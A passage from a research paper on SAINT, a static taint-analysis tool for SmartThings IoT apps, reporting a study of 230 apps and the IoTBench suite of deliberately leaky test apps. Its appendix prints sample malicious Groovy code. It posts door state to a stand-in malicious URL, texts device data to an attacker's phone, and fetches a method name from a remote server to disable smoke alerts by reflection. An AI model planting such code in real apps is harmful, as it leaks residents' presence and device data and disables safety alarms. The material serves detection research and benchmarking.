GroovyCodeVisitor to extract method calls and expres-
sions inside AST nodes [32]. This allows our implementation
to use AST visitors to analyze expressions and statements, and
get all necessary information to build IR.
SAINT’s taint analysis also uses Groovy AST visitors. It
extends the ASTBrowser class implemented in the Groovy
Swing console, which allows a user to enter and run Groovy
scripts [33]. The implementation hooks into the IR of an app in
the console and dumps information to the TreeNodeMaker
class; the information includes an AST node’s children, parent,
and all properties built at the pre-defined compilation phase.
This allows us to acquire the full AST including the resolved
classes, static imports, the scope of variables, method calls,
interfaces accessed in an app. SAINT then uses Groovy visitors
to traverse the IR’s ICFG and perform taint tracking on it.
Since Groovy is a JVM-hosted language, one natural
approach would be first to compile Groovy code into Java
bytecode using the Groovy compiler and then build the IR via
the help of the Soot analysis framework [34]. However, this
approach was not feasible due to the heavy use of reflection in
the bytecode generated by the Groovy compiler. In particular,
the Groovy compiler translates every direct method call into
a call by reflection. For instance, the example app in Fig. 4
is compiled to bytecode with twelve reflective calls. Soot,
unfortunately, does not produce good analysis results when the
input bytecode uses reflection, as our experience suggests.
Output of SAINT. Fig. 6 presents the screenshot of SAINT’s
analysis result on a sample app. A warning report by SAINT
contains the following information: (1) full data flow paths
between taint sources and sinks, and (2) the taint labels of
sensitive data, and (3) taint sink information, including the
hostname or URL, and contact information.
V. APPLICATION STUDY
This section reports our experience of applying SAINT on
SmartThings apps to analyze how 230 IoT apps use privacy-
sensitive data. Our study shows that approximately two-thirds
of apps access a variety of sensitive sources, and 138 of them
send sensitive data to taint sinks including the Internet and
messaging channels. We also introduce an IoT-specific test
suite called IOTBENCH. The test suite includes 19 hand-crafted
malicious apps that are designed to evaluate taint analysis tools
such as SAINT. We next present our taint analysis results by
focusing on several research questions:
RQ1 What are the potential taint sources whose data can be
leaked?, and what are the potential taint sinks that can
leak data? (Sec V-A)
RQ2 What is the impact of implicit flow tracking on false
positives? (Sec. V-B)
RQ3 What is the performance of SAINT in terms of precision
and recall on IOTBENCH apps? (Sec. V-C)
Experimental Setup. In late 2017, we obtained 168 official
apps from the SmartThings GitHub repository [11] and 62
community-contributed third-party apps from the official
SmartThings community forum [22]. Table I categorizes the
apps along with their requested permissions at install time.
We determined the functionality of an app by checking its
category in the SmartThings online store and also the definition
block in the app’s source code implemented by its developer.
For instance, the “entertainment” category includes an app to
control a device’s speaker volume. We studied each app by
downloading the source code and running analysis with SAINT.
The official and third-party apps grant access to 49 and 37
“different” device types, respectively. The analyzed apps often
implement SmartThings and Groovy-specific properties. Out of
168 official apps, SAINT flags nine apps using call by reflection,
74 declaring state variables, 37 implementing closures, and
23 using the OAuth2 protocol; out of 62 third-party apps, the
results are one, 34, nine, and six, respectively. SAINT identifies
when sensitive information transmits out via the internet and
messaging services.
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Official† Third party Taint Sources Taint Sinks
App functionality Nr. Nr. Device State Device Info† Location User Inputs State Var. Internet Messaging
Convenience 80 26 96.2% 87.7% 51.9% 97.2% 43.4% 25.5% 43.4%
Security and Safety 19 10 100% 100% 37.9% 100% 31.0% 3.4% 86.2%
Personal Care 10 0 90.0% 60.0% 50.0% 90.0% 60.0% 20.0% 70.0%
Home Automation 48 24 98.6% 77.8% 55.6% 100% 52.8% 8.3% 40.3%
Entertainment 10 0 90.0% 70.0% 70.0% 100% 60.0% 20.0% 10.0%
Smart Transport 1 2 100% 100% 66.7% 100% 66.7% 33.3% 66.7%
Total 168 62
† Ten official apps and one third-party app do not request permission to devices, yet SmartThings explicitly grants access to device information
such as hub id and manufacturer name (not shown).
TABLE I: Applications grouped by permissions to taint sources and sinks. App functionality shows the diversity of studied apps.
Apps Nr. Internet Messaging Both
Official 92 24 (26.1%) 63 (68.5%) 5 (5.4%)
Third-party 46 10 (21.7%) 36 (78.3%) 0 (0%)
Total 138 34 (24.6%) 99 (71.8%) 5 (3.6%)
TABLE II: Number of apps sending sensitive information through
Internet and Messaging taint sinks.
Performance. We assess the performance of SAINT on 230
apps. It took less than 16 minutes to analyze all apps. The
experiment was performed on a laptop computer with a 2.6GHz
2-core Intel i5 processor and 8GB RAM, using Oracle’s Java
Runtime 1.8 (64 bit) in its default settings. The average run-
time for an app was 23±5 seconds.
A. Data Flow Analysis
In this subsection, we report experimental results of tracking
explicit “sensitive” data flows by SAINT in IoT apps (implicit
flows are considered in Section V-B). Table II summarizes
data flows via Internet and messaging services reported by
SAINT. It flagged 92 out of 168 official and 46 out of 62
third-party apps have data flows from taint sources to taint
sinks. We manually checked the data flows and verified that
all reported ones are true positives. The manual checking
process was straightforward to perform since the SmartThings
apps are comparatively smaller than the apps found in other
domains such as mobile phone apps. Finally, although user
inputs and state variables may over-approximate sources of
sensitive information, during manual checking we made sure
the reported data flows do include sensitive data.
SAINT labels each piece of flow information with the sink
interface, the remote hostname, and the URL if the sink is the
Internet, and contact information if the sink is a messaging
service. In Table II, the Internet column lists the number of
apps that include only the taint source of the Internet. The
Messaging column lists the number of apps that include only
the taint source of some messaging service. 71.8% of the
analyzed apps are configured to send an SMS message or a
push notification. As shown in the table, 47.2% more apps
include taint source in messaging services than the Internet.
Finally, the Both column lists the number of apps (3.6% of
apps) that includes a taint source through both the Internet and
messaging services.
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Fig. 7: Percentages of apps sending sensitive data for specific kinds
of taint sources. The absolute numbers of apps are also presented
after the # symbol.
Taint Source Analysis. Fig. 7 shows the percentages of apps
that have sensitive data flows of a specific kind of taint sources.
To measure this, we used sensitive data’s taint labels provided
by SAINT, which precisely describe what sources the data comes
from. More than half of the apps send user inputs, device states,
and device information. Approximately, one-ninth of the apps
expose location information and values in state variables. We
found that 64 out of 92 official apps and 30 out of 46 third-
party apps send multiple kinds of data (e.g., both device state
and location information).
To better characterize the taint sources, we present the types
of taint sources flagged by SAINT for apps that sends data in
Table III. There are 92 official apps that send sensitive data,
marked with “O1 to O92”, and 46 third-party apps that send
sensitive data, marked with “T1 to T46”. Out of 92 official
apps, 28 apps (O1-O28) send one single kind of sensitive data,
16 apps (O29-O44) send two kinds of sensitive data, and the
remaining 48 apps (O45-O92) send more than two and at most
four kinds of sensitive data. Similar results also identified for
third-party apps. Our investigation suggests that apps at the
top of the Table III implement simpler tasks such as managing
motion-activated light switches; the apps at the bottom tend to
manage and control more devices to perform complex tasks
such as automating many devices in a smart home. However,
data flows depend on the functionality of the apps. For instance,
a security and safety app managing few devices may send more
types of sensitive data than an app designed for convenience
that manages many devices.
In general, we found that there is no close relationship
between the number of devices an app manages and the number
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Fig. 8: The number of devices vs. the number of data flows based on
taint labels in official (O) and third-party (T) apps. The numbers in
the grids show the frequency of the apps.
of sensitive data flows. Fig. 8 shows the number of apps for
each combination of device numbers and numbers of data flows.
As an example, there are two apps that manage seven devices
and have four data flows. As shown in the figure, 15 official
apps with a single device have three data flows, while an app
with 16 devices has a single data flow. Similar results hold for
third-party apps. Out of 46 third-party apps, 16 apps (T1-T16)
have a single data flow, and the remaining 30 apps (T17-T46)
have two to four data flows.
Taint Sink Analysis. For a data flow, SAINT reports the
interface name and the recipient (contact information, remote
hostname or URL) defined in a taint sink. We use this infor-
mation to analyze the number of different (a) sink interfaces
and (b) recipients defined in each app. For (a), we consider
apps invoking the same sink interface such as sendSMS()
multiple times a single data flow, yet sendNotification()
is considered a different interface from sendSMS(). We
note for taint sink analysis we have a more refined notion
of sinks than just distinguishing between the Internet and
the messaging services; in particular, we take into account 11
Internet and seven messaging interfaces defined in SmartThings
(see Appendix A). For (b), we report the number of different
recipients in invocations of sink interfaces used in an app.
A vast majority of apps contain data flows through either a
push notification or an SMS message or makes a few external
requests to integrate external devices with SmartThings. Fig. 9a
presents the CDF of the different sinks defined in official
and third-party apps. Approximately, 90% of the official apps
contain at most four, and 90% of the third-party apps contain
at most three different invocations of sink interfaces (including
apps that do not invoke sink interfaces). We also study the
recipients at each taint sink reported in an app by SAINT. We
first get the contact information for messaging, and hostname
and URL for the Internet sinks. We then collect different
contact addresses and URL paths to determine the recipients.
Fig. 9b shows the CDF of the number of recipients defined
in apps. The vast majority of apps involve a few recipients;
they typically send SMS and push notifications to recipients.
Approximately, 90% of the official apps have less than three
sink recipients, and 90% of the third-party apps define at most
two different recipients (including apps that do not implement
taint sinks). A large number of recipients observed in official
apps respond to external HTTP requests. For instance, a web-
1			2				3		4			5	
O1	 	 	 	 	 	 	 O47	 	 	 	 	 	 		 T1	 	 	 	 	 	
O2	 	 	 	 	 	 	 O48	 	 	 	 	 	 		 T2	 	 	 	 	 	
O3	 	 	 	 	 	 	 O49	 	 	 	 	 	 		 T3	 	 	 	 	 	
O4	 	 	 	 	 	 	 O50	 	 	 	 	 	 		 T4	 	 	 	 	 	
O5	 	 	 	 	 	 	 O51	 	 	 	 	 	 		 T5	 	 	 	 	 	
O6	 	 	 	 	 	 	 O52	 	 	 	 	 	 		 T6	 	 	 	 	 	
O7	 	 	 	 	 	 	 O53	 	 	 	 	 	 		 T7	 	 	 	 	 	
O8	 	 	 	 	 	 	 O54	 	 	 	 	 	 		 T8	 	 	 	 	 	
O9	 	 	 	 	 	 	 O55	 	 	 	 	 	 		 T9	 	 	 	 	 	
O10	 	 	 	 	 	 	 O56	 	 	 	 	 	 		 T10	 	 	 	 	 	
O11	 	 	 	 	 	 	 O57	 	 	 	 	 	 		 T11	 	 	 	 	 	
O12	 	 	 	 	 	 	 O58	 	 	 	 	 	 		 T12	 	 	 	 	 	
O13	 	 	 	 	 	 	 O59	 	 	 	 	 	 		 T13	 	 	 	 	 	
O14	 	 	 	 	 	 	 O60	 	 	 	 	 	 		 T14	 	 	 	 	 	
O15	 	 	 	 	 	 	 O61	 	 	 	 	 	 		 T15	 	 	 	 	 	
O16	 	 	 	 	 	 	 O62	 	 	 	 	 	 		 T16	 	 	 	 	 	
O17	 	 	 	 	 	 	 O63	 	 	 	 	 	 		 T17	 	 	 	 	 	
O18	 	 	 	 	 	 	 O64	 	 	 	 	 	 		 T18	 	 	 	 	 	
O19	 	 	 	 	 	 	 O65	 	 	 	 	 	 		 T19	 	 	 	 	 	
O20	 	 	 	 	 	 	 O66	 	 	 	 	 	 		 T20	 	 	 	 	 	
O21	 	 	 	 	 	 	 O67	 	 	 	 	 	 		 T21	 	 	 	 	 	
O22	 	 	 	 	 	 	 O68	 	 	 	 	 	 		 T22	 	 	 	 	 	
O23	 	 	 	 	 	 	 O69	 	 	 	 	 	 		 T23	 	 	 	 	 	
O24	 	 	 	 	 	 	 O70	 	 	 	 	 	 		 T24	 	 	 	 	 	
O25	 	 	 	 	 	 	 O71	 	 	 	 	 	 		 T25	 	 	 	 	 	
O26	 	 	 	 	 	 	 O72	 	 	 	 	 	 		 T26	 	 	 	 	 	
O27	 	 	 	 	 	 	 O73	 	 	 	 	 	 		 T27	 	 	 	 	 	
O28	 	 	 	 	 	 	 O74	 	 	 	 	 	 		 T28	 	 	 	 	 	
O29	 	 	 	 	 	 	 O75	 	 	 	 	 	 		 T29	 	 	 	 	 	
O30	 	 	 	 	 	 	 O76	 	 	 	 	 	 		 T30	 	 	 	 	 	
O31	 	 	 	 	 	 	 O77	 	 	 	 	 	 		 T31	 	 	 	 	 	
O32	 	 	 	 	 	 	 O78	 	 	 	 	 	 		 T32	 	 	 	 	 	
O33	 	 	 	 	 	 	 O79	 	 	 	 	 	 		 T33	 	 	 	 	 	
O34	 	 	 	 	 	 	 O80	 	 	 	 	 	 		 T34	 	 	 	 	 	
O35	 	 	 	 	 	 	 O81	 	 	 	 	 	 		 T35	 	 	 	 	 	
O36	 	 	 	 	 	 	 O82	 	 	 	 	 	 		 T36	 	 	 	 	 	
O37	 	 	 	 	 	 	 O83	 	 	 	 	 	 		 T37	 	 	 	 	 	
O38	 	 	 	 	 	 	 O84	 	 	 	 	 	 		 T38	 	 	 	 	 	
O39	 	 	 	 	 	 	 O85	 	 	 	 	 	 		 T39	 	 	 	 	 	
O40	 	 	 	 	 	 	 O86	 	 	 	 	 	 		 T40	 	 	 	 	 	
O41	 	 	 	 	 	 	 O87	 	 	 	 	 	 		 T41	 	 	 	 	 	
O42	 	 	 	 	 	 	 O88	 	 	 	 	 	 		 T42	 	 	 	 	 	
O43	 	 	 	 	 	 	 O89	 	 	 	 	 	 		 T43	 	 	 	 	 	
O44	 	 	 	 	 	 	 O90	 	 	 	 	 	 		 T44	 	 	 	 	 	
O45	 	 	 	 	 	 	 O91	 	 	 	 	 	 		 T45	 	 	 	 	 	
O46	 	 	 	 	 	 	 O92	 	 	 	 	 	 		 T46	 	 	 	 	 	
O	=	Official	app	 T	=	Third-party	app	
1	=	Device	State				2	=	Device	InformaDon	
3	=	User	Input				4	=	LocaDon				5	=	State	variable		
					1			2			3			4			5	1			2			3			4			5	
TABLE III: Data flow behaviour of each official (O1-O92) and third-
party (T1-T46) app. 43.2% of the official and 25.8% of the third-party
apps do not send sensitive data (not shown).
service app connects to a user’s devices, accesses their events
and commands, and uses their state information to perform
actions, and an app allows users to stream their device events
to a remote server for data analysis and visualization. This
leads to using a variety of taint sinks and URLs to access and
manage various devices.
Recipient and Content Analysis. When a data transmitted
over a sink-interface call, SAINT reports who defines the
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Fig. 9: Cumulative Distribution Function (CDF) of the number of
different (a) sink interfaces and (b) recipients (contact information,
remote hostname or URL) identified by SAINT.
recipient and the content in the data flow. With content and
recipient analysis, we can have a refined understanding of
who defines the recipient and content. In particular, this helps
identify if the recipient is authorized by a user, if sensitive data
is sent to a legitimate or malicious external server, and if the app
conforms its functionality. The recipient refers to who receives
the message in a messaging service or who is the destination of
an Internet communication. The content refers to the message
used in a messaging service or the parameter of a request (e.g.,
HTTP GET or PUT) used in an Internet communication. For
instance, a call to the sendSMS() interface requires the phone
number as the recipient and also a message to that recipient.
We extended SAINT to output whether the recipient and the
content of a sink-interface call are specified by a user at install
time, by a developer via hard-coded strings in an app’s source
code, or by an external entity such as a remote server (in this
case, a remote server first sends the recipient information, and
then the app sends sensitive data to the recipient).
Table IV presents the number of times a user, a developer,
or an external party specifies the recipient or the content used
in a data flow. The messaging rows of the table tell that, in
official apps, users specify recipients 154 times, while contents
are specified by users five times and 149 times by developers;
for third-party apps, users define recipients 67 times, while
message contents are specified by users five times and 63 times
by developers. In contrast, message contents are often hard-
coded in the apps by developers. Table IV shows a different
story for Internet-sink calls. In this case, recipients and contents
are often specified by developers and external services. An
app in which recipients and contents of Internet-sink call are
specified by external services is often a web-service app. As
detailed in Sec. IV-B2, web-service apps expose endpoints and
respond to requests from external services. These apps allow
external services to access and manage devices. Additionally,
in some apps, developers hard-code the recipients and contents
of Internet communications to send information to external
remote servers.
Summary. Our study of 168 official and 62 third-party
SmartThings IoT apps shows the effectiveness of SAINT in
accurately detecting sensitive data flows. SAINT flagged 92 out
of 168 official apps, and 46 out of 62 third-party apps transmit
at least one kind of sensitive data over a sink-interface call. We
analyzed reported data’s taint labels provided by SAINT, which
Taint sink analysis
Recipient defined by Content defined by
Taint Sinks Apps User Developer External User Developer External
Messaging Official 154 0 0 5 149 0Third-party 67 0 0 4 63 0
Internet Official 2 48 44 0 54 40Third-party 0 13 12 0 13 12
TABLE IV: Recipient and content analysis of data flows.
precisely describe the data source. Using this information, we
found that half of the analyzed apps transmit at least three kinds
of sensitive data. We used sink interface names and recipients
to analyze the number of different Internet and messaging
interfaces and recipients in an app. Approximately, two-thirds
of the apps define at most two separate sink interfaces and
recipients. Moreover, we extended our analysis to identify
whether the recipient and the content of a sink-interface call
are specified by a user, a developer, or an external entity. All
recipients of messaging-service calls are defined by users and
approximately nine-tenths of message contents are defined
by developers. For Internet sinks, nine-tenths of the Internet
recipients and contents are specified by developers or external
servers.
SAINT’s findings provide a means to automatically detect and
evaluate sensitive data flows. Where intentional, developers and
device manufacturers can provide explanations and warnings
about discovered sensitive flows through system documentation
or other means. Where unintentional or malicious, device
implementations can be rejected or modifications required.
B. Implicit Flows
We repeated our experiments by turning on both explicit and
implicit flows tracking. Approximately two-thirds of the apps
invoke some sink interface that is control dependent on sensitive
tests. However and somewhat surprisingly, there are only six
extra warnings produced when turning on implicit flows. The
reason we found is that most of those sink calls already leak
data through explicit flows. For example, in one app, x gets
the state of a device x=currentState("device") and,
when a user is present, x is sent out via an SMS message;
even though there is an implicit flow (because sending the
message depends on whether the user is present), there is also
an explicit flow as the device information is sent out. The six
extra warnings are all about sending out hard-coded strings:
“Your mail has arrived!”, “Your ride is here!”, “No one has
fed the dog”, “Remember to take your medicine”, “Potential
intruder detected”, and “Gun case has moved!”. These messages
contain information in themselves and are sent conditionally
upon sensitive information; therefore we believe information is
indeed leaked in these cases. We note that turning on implicit
flow tracking increases the tracking overhead as more identifiers
need to be tracked; however, based on the results, turning on
implicit flow tracking on SmartThings IoT apps does not lead
to an unmanageable number of false positives.
C. IoTBench
We introduce an IoT-specific test suite, an open repository
for evaluating information leakage in IoT apps. We designed
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our test suite similar to those designed for mobile systems [17],
[16] and the smart grid [35]; they have been widely adopted by
the security community. IOTBENCH currently includes 19 hand-
crafted malicious SmartThings apps that contain data leaks.
Sixteen apps have a single data leak, and three have multiple
data leaks; a total of 27 data leaks via either Internet and
messaging service sinks. We carefully crafted the IOTBENCH
apps based on official and third-party apps. They include data
leaks whose accurate identification through program analysis
would require solving problems including multiple entry points,
state variables, call by reflection, and field sensitivity. Each app
in IOTBENCH also comes with ground truth of what data leaks
are in the app; this is provided as comment blocks in the app’s
source code. IOTBENCH can be used to evaluate both static
and dynamic taint analysis tools designed for SmartThings
apps; It enables assessing a tool’s accuracy and effectiveness
through the ground truths included in the suite. We present
three example SmartThings apps and their privacy violations in
Appendix A. We made IOTBENCH publicly available as well:
https://github.com/IoTBench/.
SAINT results on IOTBENCH. We next report the results of
using SAINT on 19 IOTBENCH apps. In the discussion, we
will use app IDs defined in Table III in Appendix A. SAINT
produces false warnings for two apps that use call by reflection
(apps 6 and 7). These two apps invoke a method via a string.
SAINT over-approximates the call graph by allowing the method
invocation to target all methods in the app. Since one of the
methods leaks the state of a door (locked or unlocked) to a
malicious URL and the mode of a user (away or home) to a
hard-coded phone number, SAINT produces warnings. However,
it turns out that the data-leaking method would not be called
by the reflective calls in those two apps. This pattern did not
appear in the 230 real IoT apps we discussed earlier. SAINT did
not report leaks for two apps that leak data via side channels
(apps 18 and 19). For example, in one app, a device operates
in a specific pattern to leak information. As our threat model
states, data leaks via side channels are out of the scope of
SAINT and are not detected.
VI. LIMITATIONS AND DISCUSSION
SAINT leaves detecting implicit flows optional. Even though
our evaluation results on SmartThings apps show that tracking
implicit flows does not lead to over-tainting and false positives,
whether this holds on apps of other IoT platforms and domains
would need further investigation. Another limitation is SAINT’s
treatment of call by reflection. As discussed in Sec. IV, it
constructs an imprecise call graph that allows a call by reflection
target any method. This increases the number of methods to
be analyzed and may lead to over-tainting. We plan to explore
string analysis to statically identify possible values of strings
and refine the target sets of calls by reflection.
SAINT treats all user inputs and state variables as taint
sources, even though some of those may not contain sensitive
information. However, this has not led to false positives in our
experiments. Another limitation is about sensitive strings. An
app may hard code a string such as “Remember to take your
Viagra in the cabinet” and send the string out. Though the
string contains sensitive information, SAINT does not report
a warning (unless there is an implicit flow and implicit flow
tracking is turned on). Determining whether hard-coded strings
contain sensitive information may need user help or language
processing.
Finally, SAINT’s implementation and evaluation are purely
based on the SmartThings programming platform designed
for home automation. There are other IoT domains suitable
for studying sensitive data flows, such as FarmBeats for
agriculture [36], HealthSaaS for healthcare [37], and KaaIoT
for the automobile [38]. We plan to extend SAINT’s algorithms
designed for SmartThings to these platforms and identify
sensitive data flows.
VII. RELATED WORK
There has been an increasing amount of recent research
exploring IoT security. These works centered on the security
of emerging IoT programming platforms and IoT devices.
For example, Fernandes et al. [2] identified design flaws in
permission controls of SmartThings home apps and revealed
the severe consequences of over-privileged devices. In another
paper, Xu et al. [39] surveyed the security problems on IoT
hardware design. Other efforts have explored vulnerability
analysis within specific IoT devices [40], [4]. These works have
found that apps can be easily exploited to gain unauthorized
access to control devices and leak sensitive information of
users and devices.
Many of previous efforts on taint analysis focus on the
mobile-phone platform [16], [41], [42], [43], [17], [44]. These
techniques are designed to model domain-specific challenges
like on-demand algorithms for context and object sensitivity.
Several efforts on IoT analysis have focused on the security
and correctness of IoT programs using a range of analyses.
To restrict the usage of sensitive data, FlowFence [18], [45]
enforces sensitive data flow control via opacified computation.
ContexIot [3] is a permission-based system that infers the IoT
app context automatically and to enforce permissions based on
that context. In contrast, to our best knowledge, SAINT is the
first system that that precisely detects sensitive data flows in
IoT apps by carefully identifying a complete set of taint sources
and taint sinks, adequately modeling IoT-specific challenges
like app lifecycles, and event handler methods, and addressing
platform- and language-specific problems.
VIII. CONCLUSIONS
One of the central challenges of existing IoT is the lack of
visibility into the use of data by applications. In this paper,
we presented SAINT3, a novel static taint analysis tool that
identifies sensitive data flows in IoT apps. SAINT translates
IoT app source code into an intermediate representation that
models the app’s lifecycle–including program entry points, user
inputs, events, and actions. Thereafter we perform efficient
3SAINT is openly available at http://saint-project.appspot.com/.
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static analysis tracking information flow from sensitive sources
to sink outputs. We evaluated SAINT in two studies; a horizontal
SmartThings market study validating SAINT and assessing
current market practices, and a second study on our novel
IOTBENCH app corpus. These studies demonstrated that our
approach can efficiently identify taint sources and sinks and
that most market apps currently contain sensitive data flows.
SAINT represents a potentially important step forward in
IoT analysis, but further work is required. In future work, we
will expand our analysis to support more platforms as well as
refine our analysis for more complex and subtle properties. At
a higher level, we will extend the kinds of analysis provided
by the online systems and therein provide a suite of tools
for developers and researchers to evaluate implementations
and study the complex interactions between users and the
IoT devices that they use to enhance their lives. Lastly, we
will expand the IOTBENCH app suite. In particular, we are
studying the space of privacy violations reported in academic
papers, community forums, and from security reports, and will
reproduce unique flow vectors in sample applications.
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APPENDIX
We present the Groovy source code of the home-automation
app’s IR shown in Figure 4, Section IV.
Listing 1: an example home-automation app
1 definition(
2 name: "SmartApp",
3 namespace: "mygithubusername",
4 author: "SainT",
5 description: "This is my SmartApp for my home
automation",
6 category: "My Apps",
7 iconUrl: "https://s3.amazonaws.com/smartapp-icons/
Convenience/Cat-Convenience.png",
8 iconX2Url: "https://s3.amazonaws.com/smartapp-icons/
Convenience/Cat-Convenience@2x.png",
9 iconX3Url: "https://s3.amazonaws.com/smartapp-icons/
Convenience/Cat-Convenience@2x.png")
10
11 preferences {
12 section("When you are away/home") {
13 input "presenceSensor", "capability.presenceSensor",
multiple: true,
14 required: true, title: "Which presence sensor?"
15 }
16
17 section("Turn on the lights") {
18 input "theSwitches", "capability.switch", required:
true, multiple: true,
19 title: "Which lights?"
20 }
21
22 section("Lock/Unlock door") {
23 input "theDoor", "capability.door", multiple: false,
24 required: true, title: "Which door?"
25 }
26
27 section("Notify between what times?") {
28 input "fromTime", "time", title: "From", required:
true
29 input "toTime", "time", title: "To", required: true
30 }
31
32 section("Send Notifications?") {
33 input("recipients", "contact", title: "Send
notifications to") {
34 input "phone", "phone", title: "Warn security
with text message",
35 description: "Phone Number", required: true
36 }
37 }
38 }
39
40 def installed() {
41 initialize()
42 }
43
44 def updated() {
45 log.debug "Updated with settings: ${settings}"
46 unsubscribe()
47 initialize()
48 }
49
50 def initialize() {
51 log.debug "initialize configured"
52 subscribe(presenceSensor, "present", h1)
53 subscribe(presenceSensor, "not present", h2)
54 }
55
56 def h1(evt) {
57 log.debug "presence active called: $evt"
58 x()
59 }
60
61 def h2(){
62 log.debug "presence not active called: $evt"
63 theSwitches.off()
64 theDoor.unlock()
65
66 def between = y()
67 if (between){
68 z()
69 }
70
71 def currSwitches = theSwitches.currentSwitch
72 def onSwitches = currSwitches.findAll { switchVal ->
73 switchVal == "on" ? true : false
74 }
75 log.debug "${onSwitches.size()} out of ${switches.size
()} switches are on"
76 }
77
78 def x(){
79 theSwitches.on()
80 theDoor.unlock()
81 def currSwitches = theSwitches.currentSwitch
82 def onSwitches = currSwitches.findAll { switchVal ->
83 switchVal == "on" ? true : false
84 }
85 log.debug "${onSwitches.size()} out of ${theSwitches.
size()} switches are on"
86 }
87
88 def y(){
89 log.debug "In time method"
90 return timeOfDayIsBetween(fromTime, toTime, new
Date(), location.timeZone)
91 }
92
93 def z(){
94 log.debug "recipients configured: $recipients"
95 sendSms(phone, "The ${theDoor.displayName} is locked
and the ${theSwitches.displayName} is off!")
96 def latestValue = theDoor.latestValue("door")
97 log.debug "message sent, the door status is
$latestValue"
98 }
Table III presents IOTBENCH apps categorized by their data
leak ground-truth. We present three example apps and their
privacy violations below.
Our first app “Implicit Permission 1” (ID: 11) sends a short
message to household members when everyone is away. We
update an existing legitimate app to include a code block that
sends the state of the door via the leak() method to a remote
server (see Listing 2). A privacy violation occurs because it
informs the server of the absence of household members and
the door state.
Listing 2: Device state leak via the internet interface
1 if (everyoneIsAway()){
2 //app logic
3 leak() // invoke when everyone is away
4 }
5 def leak() {
6 Params = [
7 uri: "https://malicious-url",
14
8 body: ["condition":"$thedoor.latestValue("door")"]]
9 httpPost(Params) // leak
10 }
The second app “Explicit-Implicit” (ID: 14) sends a short
message to users when a door lock has a low battery. A code
block is added to an existing app to send the battery level
(implicit permission) and hub id (explicit permission) to a third-
party’s phone number via sendSms() when the sms_send
variable is true (see Listing 3). Here, sms_send is tainted
via the state object’s SMS field. The leaked battery level is
a privacy violation.
Listing 3: Data leak of battery level and hub id
1 def BatteryPowerHandler(evt) {
2 sms_send = state.SMS // set true
3 msg = "$doorBattery.currentValue("battery")
4 power is out in hub ${evt.hubId}!"
5 sendPush(msg) // user gets a push notification
6
7 if (sms_send) { // attacker gets the same message
8 sendSms(attacker_phone#, msg) // leak
9 }
10 }
Our final example is the “Call by Reflection 1” app (ID:
5). The app is used to trigger the alarm when smoke is
detected. This app obtains the method name string from a
remote server and uses this string to invoke $state.method
(see Listing 4). Thus, the updateApp() method can be called
by reflection. Because SAINT adds all methods in an app as
possible call targets, it detects a data leak in updateApp(),
which disables alarm by unsubscribing the “smoke-detected”
event and sends this information to a hardcoded phone number.
Listing 4: Data leak via a reflective call
1 def attack(){
2 httpGet("http://maliciousServer.com"){
3 resp ->
4 if(resp.status == 200){
5 state.method = resp.data.toString()
6 }
7 "$state.method"() // reflective call
8 }
9 updateApp() {
10 unsubscribe() // revoke smoke detector events
11 sendSMS("number","$detector is revoked")
12 }
We present SmartThings APIs that are taint sinks in Table I
and APIs that are taint sources in Table II. We refer the
interested reader to SmartThings API documentation for the
details [27]. For taint sinks, SmartThings recently announced
asynchronous HTTP requests available as a beta development
feature [19]. However, the analyzed apps do not use asyn-
chronous HTTP APIs; thus we exclude them from the list. We
note that some taint-source APIs are used together with the
device names assigned by the developer, or require specific
device capabilities to use them. Therefore, the number of taint
sources used in an app differs based on the app’s context.
Internet Messaging
httpDelete() sendSms()
httpGet() sendSmsMessage()
httpHead() sendNotificationEvent()
httpPost() sendNotification()
httpPostJson() sendNotificationToContacts()
httpPut() sendPush()
httpPutJson() sendPushMessage()
GET (web service apps)
PUT (web services apps)
POST (web service apps)
DELETE (web service apps)
TABLE I: SmartThings taint-sink APIs.
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App Category ID/App Name App Description‡ Results†
Lifecycle 1- Multiple Entry Point 1 The app stores different sensitive data under the samevariable name in different functions and only one of
them is leaked.
"
2- Multiple Entry Point 2 The app stores different sensitive data under the same
variable name in different functions and more than one
piece of data is leaked.
"
Field Sensitivity 3- State Variable 1 A state variable in the state object’s field stores
sensitive data. It is used in different functions and
leaked through various sinks.
"
Closure 4- Leaking via Closure A variable is tainted with the use of closures. The
sensitive data is then leaked via different sinks.
"
Reflection
5- Call by Reflection 1 A string is requested via HttpGet interface and
used in a call by reflection. A method leaks device
information.
O
6- Call by Reflection 2 A string is used to invoke a method via call by reflection.
A method leaks the state of a door.
X
7- Call by Reflection 3 A string is used to invoke a method via call by reflection.
A method leaks the mode of a user.
X
Device Objects
8- Multiple Devices 1 Various sensitive data is obtained from different devices
and leaked via different sinks.
"
9- Multiple Devices 2 Sensitive data from various devices is tainted and leaked
via different sinks.
"
10- Multiple Devices 3 A taint source is obtained from device states and
information and leaked via messaging services.
"
Permissions
11- Implicit 1 A malicious URL is hard-coded and device states
(implicit permission) are leaked via sinks using the
hard-coded URL.
"
12- Implicit 2 The contact information (i.e., phone number) is hard-
coded and used to leak data from various sensitive
sources with use of user inputs (implicit permission).
"
13- Explicit The hub id (explicit permission) and state variables are
leaked to an hard-coded phone number.
"
14- Explicit-Implicit The contact information (i.e., phone number) is hard-
coded to leak device information (implicit permission)
and hub id (explicit permission).
"
Multiple Leakage
15- Multiple Leakage 1 Various sensitive data obtained from state of the devices
and user inputs and they are leaked via same sink
interface.
"
16- Multiple Leakage 2 Various sensitive data obtained from state of the devices
and user inputs, and they are leaked via Internet and
messaging sinks.
"
17- Multiple Leakage 3 Various sensitive obtained from state variables, and
devices and they are leaked via more than one hard-
coded contact information.
"
Side Channel 18- Side Channel 1 A device operating in a specific pattern is causinginformation leakage (e.g., on/off pattern of smart light).
!
19- Side Channel 2 A device operating in a specific pattern is causing
another connected device to trigger some malicious
activities.
!
TABLE III: Description of IOTBENCH test suite apps and SAINT’s results.
‡ 19 apps leaks 27 sensitive data. We provide a comment block in the source code of the apps that gives detailed
description of the leaks including the line number of the leaks and the ground truths.
†"= True Positive, X = False Positive, O = Dynamic analysis required, ! = Not considered in attacker model
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